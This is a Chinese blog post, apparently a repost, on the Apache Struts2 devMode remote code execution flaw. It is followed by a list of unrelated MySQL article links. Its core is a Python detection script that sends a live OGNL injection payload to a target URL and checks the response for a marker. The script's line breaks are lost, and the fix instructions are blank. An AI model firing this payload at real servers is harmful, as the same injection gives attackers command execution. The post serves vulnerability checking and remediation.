博客
关于我
Struts2 devMode远程代码执行漏洞检测利用
阅读量:179 次
发布时间:2019-02-28

本文共 1744 字,大约阅读时间需要 5 分钟。

Apache Struts 2是世界上最流行的Java Web服务器框架之一,当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

什么是devMode?

所谓的devMode模式,看名称也知道,是为Struts2开发人员调试程序准备的,在此模式下可以方便地查看日志等信息。默认情况下,devMode模式是关闭的。不过实际上仍然有很多网站上线的时候就赤裸裸地采用devMode模式,自然面临更大的安全问题,需要尽快修复。

影响范围:

当Struts开启devMode时,该漏洞将影响Struts 2.1.0–2.5.1,通杀Struts2所有版本。

漏洞检测

POC:

#!/usr/bin/env python#coding:utf-8 -*-import sysimport getoptimport urllib import urllib2poc = "debug=command&expression=(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter())!%3D(%23wr.println(%23parameters.content%5B0%5D))!%3D(%23wr.flush())!%3D(%23wr.close())&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=Adlabgsrc"banner = '''# S2-devMode 检测工具#修复建议 : 关闭devMode模式#使用说明: 检测命令 python s2-devmode.py -u http://localhost:8080/orders/3/xxx/    例如 python s2-adlab.py -u http://223.22.22.22:8080/example/HelloWorld.action帮助信息 python s2-devmode.py -h  '''def usage():	print bannerdef send_poc(geturl,data):	try:		user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' 		headers = { 'User-Agent' : user_agent,				'Cookie'	: ""} 		req = urllib2.Request(geturl+"?"+data, headers=headers) 		response = urllib2.urlopen(req) 		content = response.read()		if  "Adlabgsrc" in content:			print "该网站存在s2-devmode代码执行漏洞,请及时修复"			return True		else:			print "该网站安全"			return False		except urllib2.URLError, e:		#print e.reason		pass	return False	def check_vul(url):	if url.find("http://") | url.find("https://"):								send_poc(url,poc)						if __name__ == '__main__':	opts, args = getopt.getopt(sys.argv[1:], "hu:o:")	for op, value in opts:		if op == "-u":			target_url = value				check_vul(target_url)		elif op == "-h":			usage()

工具检测

下载地址:

修复方案:

关闭devMode:在struts.xml 设置

转载地址:http://gegc.baihongyu.com/

你可能感兴趣的文章
Mysql学习总结(60)——并发量大、数据量大的互联网业务数据库设计规范总结
查看>>
Mysql学习总结(61)——MySQL优化之DBA级优化整理汇总
查看>>
Mysql学习总结(62)——MySQL连接com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications link问题
查看>>
Mysql学习总结(63)——Mysql数据库架构方案选择与分析
查看>>
Mysql学习总结(64)——Mysql配置文件my.cnf各项参数解读
查看>>
Mysql学习总结(65)——项目实战中常用SQL实践总结
查看>>
Mysql学习总结(66)——设置MYSQL数据库编码为UTF-8
查看>>
Mysql学习总结(67)——MYSQL慢查询日志
查看>>
Mysql学习总结(68)——MYSQL统计每天、每周、每月、每年数据 SQL 总结
查看>>
Mysql学习总结(69)——Mysql EXPLAIN 命令使用总结
查看>>
Mysql学习总结(6)——MySql之ALTER命令用法详细解读
查看>>
Mysql学习总结(70)——MySQL 优化实施方案
查看>>
Mysql学习总结(71)——MySQL 重复记录查询与删除总结
查看>>
Mysql学习总结(71)——数据库介绍(MySQL安装 体系结构、基本管理)再回顾
查看>>
Mysql学习总结(72)——MySQL 开发者开发,设计规范再总结
查看>>
Mysql学习总结(73)——MySQL 查询A表存在B表不存在的数据SQL总结
查看>>
Mysql学习总结(74)——慢SQL!压垮团队的最后一根稻草!
查看>>
Mysql学习总结(75)——并发量大、数据量大的互联网业务数据库设计军规
查看>>
Mysql学习总结(76)——MySQL执行计划(explain)结果含义总结
查看>>
Mysql学习总结(77)——温故Mysql数据库开发核心原则与规范
查看>>